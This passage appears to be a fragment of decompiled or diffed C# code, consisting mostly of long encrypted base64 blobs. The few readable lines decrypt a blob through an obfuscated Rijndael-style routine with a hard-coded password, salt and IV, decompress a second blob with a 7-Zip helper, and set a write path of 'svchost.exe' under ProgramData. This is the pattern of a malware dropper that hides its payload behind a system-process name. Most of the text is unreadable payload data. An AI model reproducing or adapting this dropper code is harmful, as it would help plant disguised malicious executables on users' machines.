z+XEFGGYAYJszTUoq6B24pgZQ2kUs7ROoSZVWyHpy1yNlkk7nkXJNtYO/QD2Y/5W0igSFi6a9uSFt2D+Qg9kX4Zkmf+d55nOpsOAgu+2wQMP2tMO/pM6jM6AluSsQQcE8zgIsclqLfQ+K2NHflObcscatGxBuxOJnmgeJO92IcKIYHPXrc/z0Lfr9whikbajQw+LsiNoUFXd5Lu/+ISRY6CP5+0x9VGhDYpvov7ss1Z5xFruHDR8Lo1tiK1/I3iupOX0vA/B9GuPWx19GWIFM2zKQHyR9tsceZ63QRRyqPxDV5SIpv5CIzkSXLd6myu3n3QqKrCBld6vJozyEovttC/3DJDzGeU4tBf+kC1reiAKjXGWGgVi4p8GT97ZvStGt/yVvLvuSDnH/WHI+XHJf8KaaUgqXTx018I/qdZP7RLT7HJbCYIh8onl6dnAN3p09IbrdLv0n7FA3mv2c3Vs0A0L2WBcDUoHDkYzg48X2n7XBx3uzjWM8DhdJq5LgiKF8PCLv9YmalMXQw6V/S9OXJbI7e/G5CebXdXlEBX/dClkeDw0aMcBpGrMWtnXdgxEyL0aTT+JJXdTG65CCYg8ZhKddQzi2oMJULtMOmPFql+pEKoVP5+klgXCs/zUHQ8ldi8dRiMxRcsM1s7vgzZn3lSoqbCoP3i9dVe64k6WZ0KfokcgAzpi7UMeVCtjwJLbyoCp+jaMuhJUwss5Ufm8KO2NwxyCoRlxkBLjC7KbOpJmtxR1ttrO1X8Q7dGmdikCUdi1kDce+kyzB2SrpoUWt/j0vUhwlXmRMXEpgLPx+MN5Rnz1N2Bgugi0Np9q0AHL7l7q2IJ5z7jOjNLpKXC2o+zzv82T0JIDYQdxrLmV9Us7EjgCiD+RlaUETMHffhmHwGyE9n8JcPkYb5pVPLCJ8nt0clEFC1zZyyPK/THxsss95wsxgvd4TlZ7e9mYLUojG5bW83Ct2FyhI28NyxCc1y0qzu2WXn53GGeGWZ0fRPywUCDR+M0gXtq/h9js/+/eG27KKF2ToxvUTgvakvEmYcfRS5fvnQ2cUGT413GXj0nTrCYurEYnz2gG8hJYG5CkWVlZ4K2DCh+BW+EB9FQZpzSivUsPPcQMsyMoBprB2M8iI8Bz5TCBfoRv3BIyr7w5yCkTSViXzOu1u+/xfNbCfctX4zNE67d/HAYdI4tsN0FBglkp11PggGxiBkKvVRSL67EPmO2qdY1fVWlxbJ82RudAYOmiUXeKtn4ENVgIGBNUHApQYQ/WD6vLVxebWHy4f0fe6dsaM8Zrf4AqvgdIOCkz5BLuatdKucrP0FnjynHdkFvbRxF85eWwQJMWkINQUxst9hIBXgilf0k0gCEiqy726boiMpy6JrT8LmjzvNag/kd3oB6v2z6IhwpiOC9wUBJFR0s+vUmq93x+knPnqIi1w14uUY23OfTLmR3ufBSXUK9NLK+VeulYwHz+KL59pWwHOLlaB2gODpszw0Yh/3WgWLhBbBA900IILaJwBgiNCPwDu0L4GwrA9iCHoWQjNJjHvF+qcqHqkSpCue4yTNO3xPPgM1RXMCTy1zIv3z9RKADBYvmE74cpuDRxeqwT7KvhokRf7ZzZEiosVrfIOTZQ6SFzfi66WXeKWxybxR66k41sYlRuATk5hL7rMbKBvwf0k/LZmhPWOKGPALWFcBB9oL373TT4/wm0p/XHFPEr6kQcQpapTyoXQKjUmnNzNMDr0kLeTAffaMvQj0nhhseJr09YoTO2zbAS1I7n1bw3bvQvSnaIjWVE/bhdbxdlQxjC75osAxLjKJuMrxxaPZwTYsc3glFwS4g8kIvnxwo/f2o6CUxEFejyt+qk2OpnK2ijP99pGEMbgwSKkHDFB6lJQH6GUC0h+OztVxwuxCCSkN2RxsRYDznavw03YuwBU2Sh5ANC/Wt0mD03U2k4RJ9pYRdHi9DPU0a+BzKmekswusreWI/CBLbiw4qmm1LoAcwgPreMONlAjKeGXIEc0IAU3PZGpnhZ5Ub1L6bc/+NpCoGsZ6irTcbd5uYE9QpeKADqnQ8BW5jQaDISN2Sgww4D4fitQNl4hXFH/Y97+xIGAlQNa3rMqW6Atkq5YT9oQnFzyXUJpHbaEVlbDBYi2Id2bYDErhkrxLgM9YXuzDSYkJ+sfoy0vXhEnqDZH0f96uddLoR4EBQqMLusg93ZsyTVbg93fuKQtFaTKRKBSQmrudMpGgQo4bWXHbM6R5HhEsI5CNJ19ifheK5FF2zc+9+6eAf4ioT/imxz/HJUG/KrXiaf5Hparg8mX/C1AvrECyKKCnKrjO2q0t7k6reN9L/PoOVkl68R0UKgteGKMhCj2UFnwFW9423sO/V/WFKMPZlPJMAG+BBusCYu3MFIqRGQYcAguLMF0pT3Mlrdyeh5zFjtJVtMjNvp4yw51knvxQOvCUsJ0wg5/W2JcoE9AJ4XN1RKSX8BS7tQqCrfbTniLSKpK+Kbnuyufl782K83+vPIHAi2wj7UgvsQ+9y4wlcDDY1g5GyA7K2qU6o8WR32WIyKSqZHijZEfBCOJpsC1GTPVlp5JD0cGxQsETskLnEBnSmjq+Qa0IDam56c97bkEgfGBf94rnNvCFCs6btlXYvplvfR9I0u4nt+yyGtRaUZpZqyWHkrIW+F4KlG55OXDjpCTwdxS3CTdjSCGnkj6qoV0vc/6qo/r4RS6i3TGVW+gk/vb5837neGeJ2M72ZcNLUadeG2vx7k11YErCjZRhPhsr7CABrJPEHxGUZ2xlZAADbVfNjsSwDCOez3Uoq7XypPWbIQqdLV7ZFLgVL86Q6T1dy2PFUWaYzU5kroMpKUCAAv4FmoR+lKh24I9qbdl8gn4zY8jwlkEfg97gLAAcIPGjCFD0NpThGK8ZckEI4lE=", "Gw82XfFk46JcAi5y9N", "d7N6EtXr98Tjb3LWw2y5", "SHA1", 2, "z4A9FyYi58Dmt7XJ", 128)); - string path = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\svchost.exe"; - byte[] numArray = SevenZipHelper.Decompress(Driver.s9CLo54Dft3R2N("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